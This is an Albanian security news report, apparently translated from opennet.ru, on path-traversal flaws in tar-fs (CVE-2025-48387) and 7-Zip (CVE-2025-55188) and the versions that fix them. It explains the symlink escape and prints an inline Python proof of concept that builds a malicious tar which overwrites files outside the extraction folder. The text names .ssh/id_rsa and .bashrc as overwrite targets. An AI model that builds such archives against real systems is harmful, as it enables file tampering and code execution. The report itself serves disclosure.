Vulnerabilitetet në tar-fs dhe 7-Zip, të cilat lejojnë shkruarjen e skedarëve jashtë katalogut bazë.

Në paketën NPM tar-fs është zbuluar një vulnerabilitet (CVE-2025-48387), i cili lejon që gjatë nxjerrjes së një arkivi tar të formuar veçmas, të shkruhen skedarë në çdo pjesë të sistemit të skedarëve, pa u kufizuar në katalogun ku bëhet nxjerrja (sipas të drejtave të aksesit të përdoruesit aktual). Vulnerabiliteti gjithashtu mund të përdoret për të ridërguar skedarët ekzistues, për shembull, për të organizuar ekzekutimin e kodit të tij në sistem, mund të ridërgohen skedarët ".ssh/id_rsa" ose ".bashrc" në katalogun e shtëpisë së përdoruesit.

Problemi i është caktuar një nivel kritik rreziku duke marrë parasysh që paketa tar-fs ka 23 milion shkarkime në javë dhe përdoret si varësi në 1155 projekte. Vulnerabiliteti është eliminuar në lëshimet 3.0.9, 2.1.3 dhe 1.16.5, të cilat u formuan në maj, por informacioni për vulnerabilitetin u zbulua vetëm pas gati 3 muajsh.

Vulnerabiliteti shkaktohet nga kontrollet e pamjaftueshme të simboleve dhe lidhjeve të forta të pranishme në arkiv për daljen jashtë katalogut të synuar për shpërndarje. Për të kaluar kontrollin përdoren dy lidhje simbolike: e para tregon në katalogun rrënjësor të shpërndarjes së arkivit («.»), ndërsa e dyta krijohet në raport me lidhjen e parë simbolike dhe përdor karakteret «../» në emrin e saj për të dalë jashtë katalogut bazë. Për shembull, lidhja e parë «noop/noop/noop» tregon në «.», ndërsa e dyta «noop/noop/noop/../../../» zbulon si «./../../../». Për të organizuar mbivendosjen e skedarëve në arkiv mund të krijohet një lidhje e fortë, që referon një skedari jashtë në raport me lidhjen e dytë simbolike. import tarfile import io me tarfile.open(«poc.tar», mode=»x») si tar: root = tarfile.TarInfo(«root») root.linkname = («noop/» * 15) + («../» * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(«noop») noop.linkname = «.» noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(«hardflag») hard.linkname = «root/home/username/flag/flag» hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b»overwrite\n» overwrite = tarfile.TarInfo(«hardflag») overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b»new!\n» newfile = tarfile.TarInfo(«root/home/username/flag/newfile») newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))

Një dobësi e ngjashme (CVE-2025-55188) është zbuluar në arkivuesin 7-Zip. Simbolet lidhëse me sekuencën "../" në rrugën e skedarit gjithashtu mund të përdoren për të shkruar skedarë jashtë katalogut bazë në 7-Zip. Problemi mund të keqpërdoret kur shpaketohen çdo arkiv, mbështetur nga 7-Zip që mbështet simbolet lidhëse, siç janë zip, tar, 7z dhe rar. Problemi është zgjidhur në versionin 7-Zip 25.01.

Burimi: opennet.ru

Bli njĂ« hosting tĂ« besueshĂ«m pĂ«r faqet me mbrojtje DDoS, VPS VDS serverĂ« đŸ”„ Bli njĂ« hosting tĂ« besueshĂ«m pĂ«r faqet me mbrojtje DDoS, VPS VDS serverĂ« | ProHoster